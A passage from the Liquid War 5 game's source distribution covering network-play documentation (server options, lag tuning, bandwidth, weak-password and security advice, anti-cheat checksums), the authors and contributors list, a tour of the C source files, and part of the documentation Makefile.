"Search for internet games". Now you should see a list of available servers. You can click on the items in the list to get more informations about a given server. Once you have chosen a server, click on "Join now". Now you get on a "Waiting for teams" screen. You might be interested in using the "Start now" button. Indeed, if you are 4 players connected on a server that accepts up to 6 players, maybe you'll want to start the game right away without waiting for 2 more players. In this case, every player must click "Start now". A "*" character will replace the "-" in the players list when a player clicks on "Start now". When all the players are displayed with a "*a, the game starts. You can also chat with other players by entering text in the area above the "Send message" button, and then click on this button. Keep in mind that this is a very primitive chat and that the best way to chat efficiently is IMHO to play in windowed mode and have an IRC client at hand. Note that you can also get the list of available servers from "https://ufoot.org/liquidwar/v5/metaserver.php" There you'll also find a little chat-box which will allow you to send exchange messages with other players. You can pass options to the server using the command line. The following parameters are accepted: "-n" where "n" is a number between 2 and 6 : with this option you can tell the server how many teams will connect to the game. Beware, there can be several teams on the same computer, so if you want to have a computer with 2 players on it and 2 other computers with a single player, then you need to use the "-4" option. "-lag n" where "n" is an integer : with this option, you can control the lag used at startup. Normally, Liquid War handles this parameter automatically, but you might want to force it to a given value. "-port n" where "n" is an integer : allows you to change the IP port used by the server to listen to the clients. if you omit this parameter, the default port is (8035) is used. "-log file.log" : dumps all informations in "file.log" instead of using the standard output. "-public" : skips the "Register on ..." question, and registers the server automatically on the meta-server, so that clients can find it easily. "-private" : skips the "Register on ..." question, and does not register the server at all. "-comment This_is_a_comment" : associates a comment to the server, which will be displayed by the meta-server. Note that the character "_" will be replaced by spaces. This makes command line parsing easier. I'm lazy 8-) "-password xxx" : associates a password to the server. With this option, clients will need to give the right password to be able to connect on the server. "-callback cmd" : with this option, the command "cmd" will be launched whenever someone connects on an empty server. For instance, if you want to run a permanent server and want to know when someone connects but do not wish to permanently keep an eye on the server's log, you might use this option and put in "cmd" a command that automatically sends you a mail. You might also use a command that fires a popup window. It's up to you. 2 sample scripts are available in the "misc" directory of the Liquid War source distribution. One is "misc/liquidwar_notify.sh" and works on UNIX platforms, and the other one is "misc/lwpopup.js", which is automatically used by "misc/lwserver.bat", and works on Windows. These options work on both client and server, even if they are rather "server-oriented". "-metaserver url" : redefines the URL of the meta-server. Usefull if you want to use your own meta-server. "-netlog" : if you use this option, the server will dump all the network traffic on the standard output. This is usefull for debugging. "-nobeep" : Disables the system beeps that the application might fire. These beeps are mostly used on the server to notify clients connections. Liquid War uses TCP sockets, and a single-threaded server. This implies that: The game can sometimes get blocked if you play on Internet. The server can't talk simultaneously with several clients. I needed to use TCP sockets, since LW's algorithm can not cope with any data loss and it's not a reasonnable to try and anticipate what the map would be like if the player did not move etc... I did not implement any complex multithreaded stuff since I'm lazy and however, clients need to have informations about all the other before something can be done. However, implementing a mutltithreaded server could have advantages over the current solution. In Liquid War, all the clients send their key presses to the server, and then the server dispatches this information to everyone. This has to be done for every round. You can easily imagine that if a player has a poor connection, with a very long "ping delay", it can take quite a long time to send the information to the server, and then get it back. So what Liquid War does is that at the beginning of the game, the server sends a couple of "blank" key strokes to the clients. This way, clients receive data from the server before thay have sent any. The number of key strokes sent at the beginning of the game is called the "lag". So if it takes 200 msec to send and then receive data from the server (approx the time returned by the "ping" command) then with a lag of 6, you can theorically play at a rate of (1/0.2)*6=30 rounds/sec. On one hand, setting the lag parameter to a high value will avoid many network errors and allow you to play at a very fast pace, but the big drawback is that there will be quite a long time between the instant you send a key stroke to the server and the moment it comes back to you. On the other hand, setting the lag to a low value will limit drastically he number of rounds per second, but make the game more "responsive". However, since release 5.4.1, the "lag" is modified automatically and should adapt itself to the situation. I've not been able to test it in real conditions yet, but it should work 8-) Still, setting the lag to a sensible default value can save you some trouble. Indeed, by default, Liquid War will choose a value (6), but it can not guess if you are playing on Internet or on a 100 Mbit LAN, and it can take quite a long time before Liquid War automatically finds the right value. To know the right value which should be used with the "-lag" option, simply play a few games and watch the average lag (which is displayed on the server console every minute) at the end of the game. Liquid War uses a "light" server, and one of the advantages of this solution is that it allows you to run the server on low-end computers. I personnally run a permanent server on a 486 DX2, and it runs like a charm. The only thing you have to take care of when running a server is bandwidth. Don't worry, you won't need a 10Mbit connection, basically, each clients sends and receives 12 bytes of data at each round. If you add TCP/IP headers and the facts that stuff will probably be bundled in bigger packets, a client must deliver about 15 Kbit/sec (up and down) for a game that runs at 100 frames/sec. A 56K V90 modem is enough for this. So if you run a server with 2 clients connected, the server will need to deliver 30 Kbit/sec in both ways. A 56K V90 modem _can_ do that, but your provider needs to be a good one 8-) And if you run a server with 6 clients, you simply won't be able to reach the 100 frames/sec with a 56K V90 modem. It will necessarly drop to something less than 30 frames/sec, and is likely to drop to about 15 frames/sec. OK this is not a big deal, since few Internet games run at more than 30 frames/sec, but well, if the server has troubles receiving/sending data, everyone will wait, and the fun will go away. As a conclusion: if you have the choice, choose the friend who has the best bandwidth to run the server, without even considering the power of his computer. Network support in 5.4 and 5.5 is still experimental in many ways, so you might get weird behaviors. Basically, if you have a problem, just do the following: Stop and restart the server when something goes wrong. To stop it, use CTRL-C. Check out that you have entered the correct IP addresses. Try and start the client and the server using the "-netlog" option to have an idea about what's happening. Liquid War 5.4.0 and 5.4.1 were very hard to play over the Internet. The reason is that the network routines did not do enough error checking, and therefore there were very often errors when sending and/or receiving the map to the server. Hopefully, this bug should not appear anymore in 5.4.2 or any other recent release. As you might have noticed, under the box where you can enter the password, a little notice explains that you must choose a "weak" password. Now you'll tell me -> people keep on explaining me that passwords must be something complex like "aS\r!Y9p" and now I'm told to use "hello", what's up? OK, keep in mind Liquid War is a game. This password stuff is just a way to be able to play with your friends only and keep on using the meta-server's services. Liquid War does not encrypt data and I can see no good reason to do it for, so the password is stored and sent to the server in clear, as plain text. The consequence is that if you use a valuable password - for instance the one you use to log in on your computer - the guy who runs the server will see your password in the log file if he wishes to. Therefore, use something weak, something that if someones finds out what it is, you won't really care. So "hello" is a wise choice. Yes. Any program is likely to have security holes, especially when it's networked. However, I have good reasons to think that Liquid War is safe enough for a game. At least I find it safe enough to run a permanent public server on my personnal computer 8-) FYI, here are some things which I think make Liquid War rather safe to run: Liquid War does not store anything on your hard drive that would have been received from the network. The maps are kept in RAM. So you won't download any virus playing Liquid War on Internet. Liquid War does not transmit any sort of code on the network. All the transmitted bytes represent plain data. So you're not likely to execute any arbitrary code - virus, worm - when playing on the Net. Liquid War receives network packets in static buffers, and if the received data is too big, it is truncated. One consequence is that Liquid War has a bunch of "limits". You can't send hudge maps over the network, you can't have long nicknames, and so on. But another consequence is that if you try to send garbage in the buffer, it will be truncated. Liquid War will protest with a "network error" message and the connection will be closed, but there will be no easy exploit possible here. Liquid War does not use the sprintf, strcpy and strcat functions, which are known as being rather unsecure since they can lead to buffer overflows. Instead, it uses the equivalent functions snprintf, strncpy and strncat. On platforms where these functions are supported natively, the game will use the default system functions, otherwise it will use a free implementation by Mark Martinec. FYI, Windows does not support snprintf-like functions natively, that is, it's a piece of crap. Liquid War is Free Software, so I'm not likely to have put backdoors in it myself, since anyone can look at the source code 8-) However, I have not - and I know nobody who has - audited Liquid War for security holes. So there might be some. Therefore you should respect a few things while running Liquid War: Never run Liquid War as root or administrator. This is obvious but I still mention it. If you want to run a Liquid War daemon on UNIX, run it as user "nobody" or something approaching. If "root" or "administrator" does not make sense on your system (DOS, Win98...) then I assume you're not _really_ concerned about security anyway 8-P If you run a server 7/7 24/24, use the "-log" option to log everything in a file. This way you'll keep a trace of network activity, and if something goes wrong, you might get a chance to see it. If you use passwords in network games, *never* choose a valuable password. Use something simple like "hello" or "goodbye". Keep in mind that Liquid War is a game, and not a bullet proof professionnal server. Last point: you should be aware that version 5.4.5 of Liquid War has been proved to be vulnerable to a local buffer overflow, and one should run at least 5.5.9 to get rid of this problem. FYI by the time the exploit was found on 5.4.5, 5.5.9 was already out 8-) See "http://www.securityfocus.com/bid/8629" and "http://www.securityfocus.com/bid/9453" for more informations. No. Or at least, not really. In fact, you can still find the following types of lamers: A guy who lets the CPU play at his place. He'll loose anyway because the CPU is definitely not a great Liquid War Master 8-) A guy who tweaks the game and gets all his bots fight anyone he wishes. That's mean. A guy who manages to let you have a 500msec lag while he does not have any lag at all. Apart from this, I can hardly see any way to cheat. Why? Because the Liquid War server does not store any information about the game. It's not aware of who wins, who looses, it knows nothing. The only thing it does is to transmit key presses between client computers. This way, if someone plays with a tweaked release of Liquid War, thinking he will fool you, then he will fool you on his computer only... On your computer, everything will be fine. After some time, your screen and his screen will have nothing in common, and both players are likely to think they have won. Except the lamer will stay a lamer. This also explains why it's required to play with the very same versions of the game during network games. If you plug a 5.5.2 with a 5.5.1, after a minute the screens will be completely different on each client, since there are subtle differences between the 5.5.1 and the 5.5.2 engine. However, you shouldn't be able to do this, since a network error will stop you before you can start to play. Additionnally, versions 5.5.5 and higher have a checksum system. Every 100 rounds, each client calculates a checksum with its local map, and sends it to the server. If the checksum is incorrect, the server will log a message like: Checksum error on client "192.168.1.1:1098" If you see this, then you're in one of the following situations: There's a bug in the game A lamer tries to cheat FYI, all releases from 5.4.0 to 5.5.4 have a bug which causes clients to desynchronize after a while... liquidwar-5.6.5/doc/xml/authors.xml0000664000372000037200000001051613407756104016720 0ustar travistravis Liquid War rules have been invented by Thomas Colcombet. He was trying to find algorithms to find the shortest path from one point to another, and found the Liquid War algorithm. Then it came to his mind that a game could be build upon this algorithm, and Liquid War was born. He programmed the first two versions of Liquid War using Borland Pascal for DOS, and gave me some information about the algorithm so that I could re-program it. I'm the guy who programmed the latest versions of Liquid War. I enhanced the algorithms, and did quite a bunch of work to have the game playable by (almost) anyone, that's to say create a correct GUI. If you want to join me, here's all the information you'll ever need: Christian Mauduit E-mail: "ufoot@ufoot.org" Web site: "https://ufoot.org" GnuPG public key: CA272B47 - "https://ufoot.org/gnupg.pub" GnuPG fingerprint: 71AD 4CBB 345A 5F15 6D03 AA6D 1050 9F67 CA27 2B47 Snail mail: 32 rue Jean Moulin 95100 Argenteuil FRANCE As Liquid War is now free software, protected by the GPL, anyone is allowed to view, edit, modify, re-compile the source code, and distribute it, as long as Liquid War is still distributed under the GPL. Here's a list of the contributors: Alstar: drew a map, which is now included in the main distribution. Peter Wang: ported Liquid War to GNU/Linux. Cort Danger Stratton : helped me setting up network support. Tim Chadburn : wrote midi files for the game. His contribution has been truely appreciated since it's rather hard to find GNU GPL compliant artwork. He also wrote documentation and helped with midi support in general. Jan Gretschuskin : contributed 11 maps, and made the German translation. So if you run Liquid War with German menus, you know who you have to thank -> Jan! 8-) Also do not forget to visit "http://www.game-factor.de" Mouse : contributed a map. Rene Stach : drew 3 maps. Roderick Schertler : implemented HTTP 1.1 support. Ryan D. Brown : ported Liquid War to Mac OS X. Eduard Bloch : maintained the Debian package, and helped with German support. Michael Terry : provided a .desktop file for better integration with Gnome, KDE and other UNIX desktop environments. Kasper Hviid : contributed many maps, with their own textures, and made the Danish translation. Great work, also available on "http://levels.2v1.cz/index.html" David Redick : wrote an external random map generator, available on "http://xdavidx.sqrville.org/lwmapgen/index.html" Alexandre Pineau : maintains the Debian package. Michael Wagner : translated the web site in German. Peter Williams : fixed the "too many opened socket" server bug. Jan Samohyl : submitted strategy tips. Gavin : wrote the Liquid War fanfic. Dave Vasilevsky : fixed the Mac OS X port. 2 of omega : contributed a map. 666-REFIZUL-666 : created many maps (distributed separately). Thomas Klausner : fixed Makefile for FreeBSD Joan Dolc : helped with Mac OS/X port Jan Szenborn : Polish translation. Many other people helped me by submitting bug reports and patches, and I want to thank them for their precious help. Thanks to all the Debian people too, who nicely maintain the Liquid War .deb package. liquidwar-5.6.5/doc/xml/source.xml0000664000372000037200000007147713407756104016550 0ustar travistravis Liquid War 5 is basically a big C program. I've splitted the source code in many small files for I do not like to have to handle big monolithic sources, but this does not mean Liquid War is very modular. In fact Liquid War 5 is quite bloated with global variables and other ugly stuff 8-( To be honest, it's a big mess. You won't find 2 files coded in the same maner... OK, I'm exagerating a bit. From now I try to make an effort and stick to basic rules such as: use the GNUish-style indentation - the default Emacs mode in fact prefix global functions / variables / constants / types with lw_<NAME_OF_THE_file>_. For instance, a "do_it" function in myfile.c will be called lw_myfile_do_it use capitals for constants, globals and types only. All functions are in lowercase with "_" to separate words keep on using 8.3 filenames for .c source files. This is for better DOS integration. DOS version of Liquid War is still maintained, you know 8-) use English only for code and comments I might decide to rename and cleanup everything some day, for it would help other coders to understand what I wrote, but well, this is certainly not a thrilling task 8-/ Here you'll find the main() function, the main game loop, application-wide constants and other global stuff. It might be a good start if you want to hack the code. base.h: contains global constants used in many different files. game.c / game.h: contains the main game loop. main.c / main.h: the file where the main C function is declared. Doesn't contain much except calling init functions and running the GUI. The menus are coded using the Allegro GUI system. While this system is very powerfull, it's IMHO not adapted to very complex GUIs, and one of its drawbacks is that it's not so easy to redesign something once you've coded it. Besides, when I started coding the GUI in 1998, I did it in a rather ugly way, and now I'm paying for my being lazy at that time, since I spent hours coding when I want to change something 8-/ about.c / about.h: contains the code for the about menu. advanced.c / advanced.h: contains the GUI advanced options menu. connect.c / connect.h: contains code for the "connect" menu which displays which players are connected to the server, before the game actually starts. controls.c / controls.h: contains the code for the controls menu. graphics.c / graphics.h: code for the graphic options menu. internet.c / internet.h: contains the code for the "Search for Internet games" menu, where one can pick up a running server automatically with the help of the meta-server. language.c / language.h: contains the code for the "Language" menu. level.c / level.h: contains code for the menu where the player can select a level and its options (texture or color). menu.c / menu.h: contains the code for the main menu. netgame.c / netgame.h: contains the code for the net game menu. options.c / options.h: contains the code for the options menu. play.c / play.h: contains the code which ties the menu to the main gameloop. rules.c / rules.h: code for the rules menu. score.c / score.h: functions to display the scores at the end of the game. speeds.c / speeds.h: contains the code for the speeds menu. team.c / team.h: code for the team menu, where one choses which teams will play. volume.c / volume.h: code for the sound menu. wave.c / wave.h: code for the wave menu. These files contain various utilities which are used in the menus. alleg2.c / alleg2.h: contains some tweaked allegro functions. I wanted to use bitmaps with sevral colors for my fonts, and change some of the allegro default behavior. So rather than modifying the allegro source code right in the library I copied it in this file and then modified it. back.c / back.h: this modules displays the background image. dialog.c / dialog.h: contains code for standard dialog boxes. error.c / error.h: contains functions to display error messages once the game is in graphical mode. help.c / help.h: generic functions to display the various help pages. Here's *the* interesting part. All the rest of the code is just sugar coat to display stuff, receive players commands, communicate with other computers, handle errors, etc... But the real thing is here! It's funny to note that these files have almost not been modified since Liquid War 5.0. It's also interesting to note that they represent a small percentage of the total amount of code in the game. This tends to prove - and I'm convinced of it - that game programming does not only consists in having great ideas, but also requires a lot of "dirty" and boring work. Honestly, coding an option menu is as boring as coding Liquid War algorithm is fun. fighter.c / fighter.h: contains code to move the armies, once the gradient has been calculated. grad.c / grad.h: this module calculates the gradient for each team. One could say it's the "kernel" of the game, since most of the CPU time is spent in this module (except if you have a slow display...). mesh.c / mesh.h: contains code to set up a usable mesh with a map. Mesh are re-calculated at each time a new game is started, the reason for this being that meshes are *very* big so it would not be reasonnable to save them directly on the HD. monster.s / monster.h: assembly functions to speed-up the game. It's a replacement for some fighter.c functions. spread.s / spread.h: contains assembly replacements for some functions of grad.c. These replacements do the same than the original ones from grad.c, but faster. Could still be optimized. It looks like nothing, but moving a cursor and deciding where it should go if there's a wall in front of it is not that easy, especially if you want things to work nicely. autoplay.c / autoplay.h: contains the code for the computer AI. This module simulates keypresses from the computer, then the computer is handled as any other player. move.c / move.h: provides an API to move the cursors. Until 5.4.0, Liquid War did not have network support. As it is designed to be multiplayer, one needed to have several players on the same computer. The mouse also needed to be handled in a special way since cursors can *not* pass walls in Liquid War. Additionnally, I wanted all input channels (keyboard mouse and joystick) to be handled in a unified way. This explains why there's so much code for user input, when one would think at first sight that "polling the keyboard is enough". joystick.c / joystick.h: contains code to support joystick input. It wraps joystick buttons to virtual keyboard keys, so that joystick and keyboard behave exactly the same. keyboard.c / keyboard.h: contains code to handle key presses. mouse.c / mouse.h: wraps the mouse movements to virtual keyboard keys. This way the mouse can be used to control the players. These files contain functions to intialize various game components. 100% boring code. area.c / area.h: contains functions to create the game area. Basically it contains functions to create the data structures in which the level is stored during the game. army.c / army.h: functions to create the armies, and place them on the battlefield. asm.c / asm.h: various constants, macros and utilities to ensure that asembly code works correctly. bigdata.c / bigdata.h: I had a really hard time with the malloc function with DJGPP under Win95 dos box. I tried to have it working for hours and hours but my program kept being buggy. So I decided to allocate the memory myself, in a memory zone I create at startup. This is what this module does: create a huge memory zone and then give parts of it to the rest of the program. config.c / config.h: contains everything that is related to the game configuration. This module contains in global variables all the parameters that are stored in the config file. cursor.c / cursor.h: contains the code to init the cursors and place them on the battlefield at the beginning of the game. decal.c / decal.h: This module makes the link between teams and players. Its coding is quite ugly, for some modules in LW assume that when 2 teams are playing they are always teams 0 and 1. So when 3 teams are playing are playing and the second team loses, one has to make team 2 become team 1. That's what this module is for. exit.c / exit.h: contains code that is executed when the game ends, it shuts down Allegro and displays messages on the console. gfxmode.c / gfxmode.h: contains code to set up the various video modes, and defines which modes are available for each platform. init.c / init.h: contains code to initialize Allegro with proper options and analyze failures. palette.c / palette.h: contains function to set up the current color palette. Liquid War uses different palettes, depending on what colors are chosen for teams. Here lies most of the graphic functions in Liquid War. There's not that much code since Liquid War's strength is not its visual effects, but rather its gameplay. The only "funny" thing is the wave effect. I'm quite happy with it, and honestly, I do think it is rather fast, given the fact that it uses no 3D hardware at all. disp.c / disp.h: contains functions to display the battlefield. distor.c / distor.h: this module contains code to create the "wave effect". It uses a lot of data tables, and is quite complicated to understand... glouglou.s / glouglou.h: assembly module, it is a replacement for some functions of distor.c. It goes much faster but does the same. info.c / info.h: contains code to display the info bar. The info bar is the bar which display the time left and the amount of players for each team while the game is running. message.c / message.h: provides an API to display messages during the game. Very useful if you want to debug the game: you can trace and display anything. pion.c / pion.h: contains code to display the cursors. viewport.c / vieport.h: code to allocate and resize the zone where the map is displayed, also called "viewport". Sound and music routines required some encapsulation, since the game must be able to run even if the sound and/or music did not load correctly. music.c / music.h: contains the code to control MIDI playback. sound.c / sound.h: functions to play sound. These functions handle the datafile contents and also the custom data. Note that the various utilities such as liquidwarcol, liquidwarmap and liquidwartex do not share code with the main executable. This is obviously a design error, for liquidwarmap will handle maps in a very poor way and is unable to autodetect map errors, whereas the game does it rather well. Blame the programmer. disk.c / disk.h: contains all the code to access data from the hard drive. In fact, all the HD access is done at startup. map.c / map.h: contains code to load the maps from a datafile raw data or a user defined bitmap to a usable structure in RAM. maptex.c / maptex.h: contains code to handle the "use default texture" option, and associate a map with a given texture automatically. texture.c / texture.h: contains code to handle textures. Textures are stored in a special format which uses 5 bits per pixel. Liquid War has a "generate random map" feature which is available within the game and also as an external program. The source code for the external program is in ./utils/lwmapgen in Liquid War source distribution. This program has been coded by David Redick, is also available on "http://www.cs.clemson.edu/~dredick/lwmapgen/" and works on GNU/Linux. Compiling this program under DOS and/or Windows is untested and unsupported. The random map generator within Liquid War - which of course works on any platform support by LW - uses for its greater part the same source code as the external lwmapgen program. random.c / random.h: wrapper for the map generator written by David Redick. It basically does the same as ./utils/lwmapgen/main.c except that it does it within Liquid War as it is running and not in an external independant program. Time handling is fundamental in a game. Time is used for visual effects (waves...) during the game, it's used to generate some pseudo random stuff, well, it's used everywhere! Note that on the client, I use 2 "different" clocks. The first counts the "real" time, in seconds. The second one is counts "rounds" and is incremented by 1 at each game round. srvtime.c / srvtime.h: code used to handle time on the server, where Allegro's functions are not available. ticker.c / ticker.h: sets up a timer callback. time.c / time.h: functions to know how long the game has been running, knowing that it can be interrupted. These are various utilities use to monitor and control the game while one's playing. capture.c / capture.h: code used to capture the video output of the game and store it in .bmp files while playing. checksum.c / checksum.h: utilities to generate a checksum from a given game state. Used in network code to make sure all the clients stay synchronized. code.c / code.h: This file contains the code to handle key presses during the game. That's to say the pause key for instance. profile.c / profile.h: provides tools to calculate how fast the game is runnning and what operations slow it down. watchdog.c / watchdog.h: this module waits for "secret codes" to be typed while the game is running, and traps them. OK, now to all the UNIX guys, I *know* there are many ways to do things in a better and simple way than I did. But keep in mind that in 1998, under DOS, I had a rotten command line and even now I need everything to work on both UNIX and Microsoft platforms. These utilities are not perfect, but they work, that's all I ask them. basicopt.c / basicopt.h: handles basic command line parameters such as "-v" or "-h". parser.c / parser.h: contains code to parse and analyze the command line parameters. startup.c / startup.h: analyzes the command line parameters and stores them into global variables. Liquid War now has locale support. Basically, all the labels and texts in the UI are stored in constants. There's simply file per language. Note to translators: if you decide to translate the menus in another language, keep in mind that all the translations must fit in the various buttons and textboxes. The best resolution to test this - the one where letters take most place - is 640x480. lang.c / lang.h: contains code to handle language dependant stuff. langen.c / langen.h: contains code to handle English specific stuff. langfr.c / langfr.h: contains code to handle French specific stuff. OK, the API of the log routines is a piece of crap. Now I'm simply too lazy to change it. It works, that's all I ask. BTW, there's a clear advantage in using custom-made log functions instead of plain calls to "fprintf(stderr,...". It might not be obvious for UNIX users, but think about Windows. Nothing like a "tail -f" there, nor a proper output redirection system. When a user clicks on the Liquid War icon, I want "console" information to be logged in a file! log.h: common header for logcli.c and logsrv.c. logcli.c: contains code to display messages on the console. It's usefull for console may have different behaviors when the games is used on different platforms. This file is used to compile the client. logsrv.c: contains code to display messages on the console. This file is used to compile the server, which does not use Allegro at all. popupgen.h: common header for popup functions. popupw32.c: code to handle popup on the Win32 platform. Popups are a must-have under Windows for error diagnostics, since the average Windows user never gives any look at any log file... As usual, I needed to prepare a small set of usefull macros. macro.h: contains basic wrappers/macros for snprintf like functions. This mostly to ease up string manipulation which is - as always - a nightmare in standard C. path.c / path.h: code used to handle filenames and paths, for instance remove path and file extension from a filename. It's also important to note that Liquid War uses snprintf instead of sprintf, for using the latter is very likely to cause buffer overflows. Under Linux glibc provides this function but Microsoft does not provide it natively on Windows. Therefore I used a third party snprintf implementation by Mark Martinec: "http://www.ijs.si/software/snprintf/" and its source is available in the ./utils directory of Liquid War source distribution. As you might know, PC Intel based computers are "little-endian" while Sun Sparc stations and Mac computers are "big-endian". This is an issue for LW since in network games maps are transmitted in binary format. Therefore I needed to set up some (un)serialization fonctions. serial.c / serial.h: code used to transform integers and map headers into an uniform cross-platform byte stream which is readable by both little and big endian machines. Liquid War does have thread support, but it is a "limited" thread support. I mean that the game is generally monothreaded, but a few functions use threads. For instance, calls to the meta-server are done within threads. Basically, I do not really enjoy programming in a multithreaded environnement. So when possible, I chose the monothread path, and used threads only where I simply would not be able to find another acceptable solution. I also needed to use some mutexes to prevent crashes in the user interface. mutxdos.c: provides fake mutex support under DOS. This module is here only to make compilation easier. mutxgen.h: header for mutxdos.c, mutxunix.c and mutxw32.c. mutxunix.c: provides mutex support on UNIX. mutxw32.c: provides mutex support on Win32. thrddos.c: provides fake thread support under DOS. This module is here only to make compilation easier. thrdgen.h: header for thrddos.c, thrdunix.c and thrdw32.c. thrdunix.c: provides thread support on UNIX. thrdw32.c: provides thread support on Win32. Liquid War might sometimes launch external programs. This is (for security reason) not a default behavior and has to be activated and configured by yourself, using the "-callback" command line option on the server for instance. execgen.h: header for execunix.c and execw32.c. execunix.c: code to launch external programs on UNIX. execw32.c: code to launch external programs on Win32. exec2.c: code to launch external programs within the client, without any interaction with the user, ie no unwanted popping window for instance. There are network packages for Allegro, but I decided not to use them. Socket support is not that hard to implement under UNIX and Win32 and besides, I've done it for my job recently, so I just knew how to do it. Another reason which decided me to code my own toolbox is that I did not want Liquid War to have external dependencies - except Allegro of course. This way, UNIX gamers to not have to set up and/or download a specific network library. It's also easier to integrate the game in projects like Debian if it has few dependencies. This network code is not a masterpiece, it's just a little set of tools that have proven to work. That's all. BTW, it's important to notice that when linking with Allegro, most blocking UNIX calls ("sleep" or "recv" for instance) stop working: they alwasys return immediately. This led me to implement weird ugly hacks, like calling "recv" in a loop until it gets what it wants... This is theorically and practically a performance killer, but I found no other way to fix this. And FYI, this is not an Allegro bug, it's a feature 8-) dnsutil.c / dnsutil.h: wrapper code to issue DNS requests, without having to handle the hostent struct. sock2cli.c: sode used to wrap low-level network function on the client. sock2gen.h: header for sock2cli.c and sock2srv.c. sock2srv.c: code used to wrap low-level network function on the server. sockdos.c: network API for DOS. sockex.c: netowrk routines shared by sockunix and sockw32. sockgen.h: header for sockdos.c, sockunix.c and sockw32.c. sockunix.c: network API for UNIX. sockw32.c: network API for Win32. These files contains network utilities which are Liquid War specific. chat.c / chat.h: functions used to handle chat messages in network games. keyexch.c / keyexch.h: functions to send and receive keys to the server. Used on the client. netconf.c / netconf.h: code to send and receive the config of the clients over the network. netkey.c / netkey.h: contains some tools to manipulate key strokes over the network. netmap.c / netmap.h: code to send and receive the maps over the network. netmess.c / netmess.h: contains a parser to interpret plain text messages. Used when exhanging information over the network. netplay.c / netplay.h: contains the code to set up and start network games. network.c / network.h: contains some network related functions and constants used on the client. ping.c / ping.h: code used on the client to estimate the average ping time with a server. protocol.c / protocol.h: contains the sequence of messages send and recevied by the client when connecting on the server. startinf.c / startinf.h: contains struct and tools to handle some network informations while starting a network game. The meta-server is called by both client and server. Basically, the server registers itself, and the client asks for a list of servers. The meta-server itself is just a set of simple PHP scripts with a simple MySQL database. I chose PHP because my provider allows execution of PHP pages, that's all. The protocol is *very* basic, and uses HTTP 1.0 for requests. Answers are received in plain text, with one information per line. There's no garantee that this would work with any HTTP server, but experience proved that it works with my provider 8-) httputil.c / httputil.h: low level functions to handle http requests. wwwcli.c / wwwcli.h: code used on the client to communicate with the meta-server. wwwsrv.c / wwwsrv.h: code used on the server to communicate with the meta-server. The Liquid War server is a rather small program. The only thing it does is accept new players, transmit map and game parameters between them, and then "replicate keys". By "replicate keys" I mean that the server asks each client what keys have been pressed during the last round, and then dispatches this informations to all clients. This implies that the server has absolutely no idea of who's loosing, who's winning, etc... All the "logic" of the server is coded in these files, the rest is only utilities and helper functions. server.c / server.h: main code for the server (equivalent of main.c for the client). srvchan.c / srvchan.h: code used to handles channels on the server. A channel is associated to a given computer and may manage several teams. srvcont.c / srvcont.h: global network controler used on the server. srvteam.c / srvteam.h: code used to handle teams on the server. liquidwar-5.6.5/doc/Makefile.in0000664000372000037200000001014513407756104015754 0ustar travistravis DOC_TXT = @DOC_TXT@ DOC_HTML = @DOC_HTML@ DOC_MAN = @DOC_MAN@ DOC_INFO = @DOC_INFO@ DOC_PS = @DOC_PS@ DOC_PDF = @DOC_PDF@ DOC_PHP = @DOC_PHP@ DOC_UWC = @DOC_UWC@ VERSION = @VERSION@ FILES = rules \ authors \ mailinglists \ fanfic \ options \ network \ parameters \ platforms \ userlevels \ algorithm \ source \ bugs \ todo \ wip \ copying HTML_FILES = $(addprefix html/,$(addsuffix .html,$(FILES))) PHP_FILES = $(addprefix php/,$(addsuffix .php,$(FILES))) TEX_FILES = $(addprefix tex/,$(addsuffix .tex,$(FILES))) MAN_FILES = $(addprefix man/,$(addsuffix .man,$(FILES))) TXT_FILES = $(addprefix txt/,$(addsuffix .txt,$(FILES))) TEXI_FILES = $(addprefix texi/,$(addsuffix .texi,$(FILES))) UWC_FILES = $(addprefix uwc/,$(addsuffix .uwc,$(FILES))) # To enable/disable documentation formats: # - if format xxx must be built, then the ./configure # script has set $(XXX) to "yes" so we build target # xxx_yes which is the "real" target. # - if format xxx must be skipped, then the ./configure # script has set $(XXX) to "no" so we build target # xxx_no, which is a "fake" empty target. all: txt_$(DOC_TXT) html_$(DOC_HTML) man_$(DOC_MAN) info_$(DOC_INFO) ps_$(DOC_PS) pdf_$(DOC_PDF) php_$(DOC_PHP) uwc_$(DOC_UWC) txt_yes: $(TXT_FILES) html_yes: $(HTML_FILES) man_yes: man/liquidwar.6.gz info_yes: info/liquidwar.info.gz ps_yes: ps/liquidwar.ps pdf_yes: pdf/liquidwar.pdf php_yes: $(PHP_FILES) uwc_yes: $(UWC_FILES) txt_no: html_no: man_no: info_no: ps_no: pdf_no: php_no: uwc_no: pdf/liquidwar.pdf : ps/liquidwar.ps @echo "Building $@..." @cd tex; pdflatex liquidwar.tex && cd .. || cd .. @cd tex; pdflatex liquidwar.tex && cd .. || cd .. @if [ -f tex/liquidwar.pdf ]; then mv tex/liquidwar.pdf $@; fi ps/liquidwar.ps : tex/liquidwar.dvi @echo "Building $@..." @dvips -q -o $@ $< tex/liquidwar.dvi : $(TEX_FILES) tex/liquidwar.tex @echo "Building $@..." @cd tex; latex liquidwar.tex && cd .. || cd .. @cd tex; latex liquidwar.tex && cd .. || cd .. man/liquidwar.6 : man/liquidwar.man @cp $< $@ man/liquidwar.man : $(MAN_FILES) man/begin.man man/end.man @echo "Building $@..." @cat man/begin.man $(MAN_FILES) man/end.man > $@ info/liquidwar.info.gz : texi/liquidwar.texi @echo "Building $@..." @rm -f info/liquidwar.info* @makeinfo -o info/liquidwar.info $< @gzip -9 info/liquidwar.info* texi/liquidwar.texi : $(TEXI_FILES) texi/begin.texi texi/end.texi @echo "Building $@..." @cat texi/begin.texi $(TEXI_FILES) texi/end.texi > $@ html/%.html: xml/%.xml makedoc.py html/header.inc html/footer.inc @echo Creating $@ from $< @python -c "import makedoc; makedoc.make_html('$@','$<','html/header.inc','html/footer.inc')" php/%.php: xml/%.xml makedoc.py @echo Creating $@ from $< @python -c "import makedoc; makedoc.make_php('$@','$<')" tex/%.tex: xml/%.xml makedoc.py @echo Creating $@ from $< @python -c "import makedoc; makedoc.make_tex('$@','$<')" man/%.man: xml/%.xml makedoc.py @echo Creating $@ from $< @python -c "import makedoc; makedoc.make_man('$@','$<')" txt/%.txt: xml/%.xml makedoc.py @echo Creating $@ from $< @python -c "import makedoc; makedoc.make_txt('$@','$<','Liquid War (v$(VERSION))')" texi/%.texi: xml/%.xml makedoc.py @echo Creating $@ from $< @python -c "import makedoc; makedoc.make_texi('$@','$<')" uwc/%.uwc: xml/%.xml makedoc.py @echo Creating $@ from $< @python -c "import makedoc; makedoc.make_uwc('$@','$<')" %.gz: % @if [ -f $< ]; then echo "Compressing $@..."; gzip -c -9 $< > 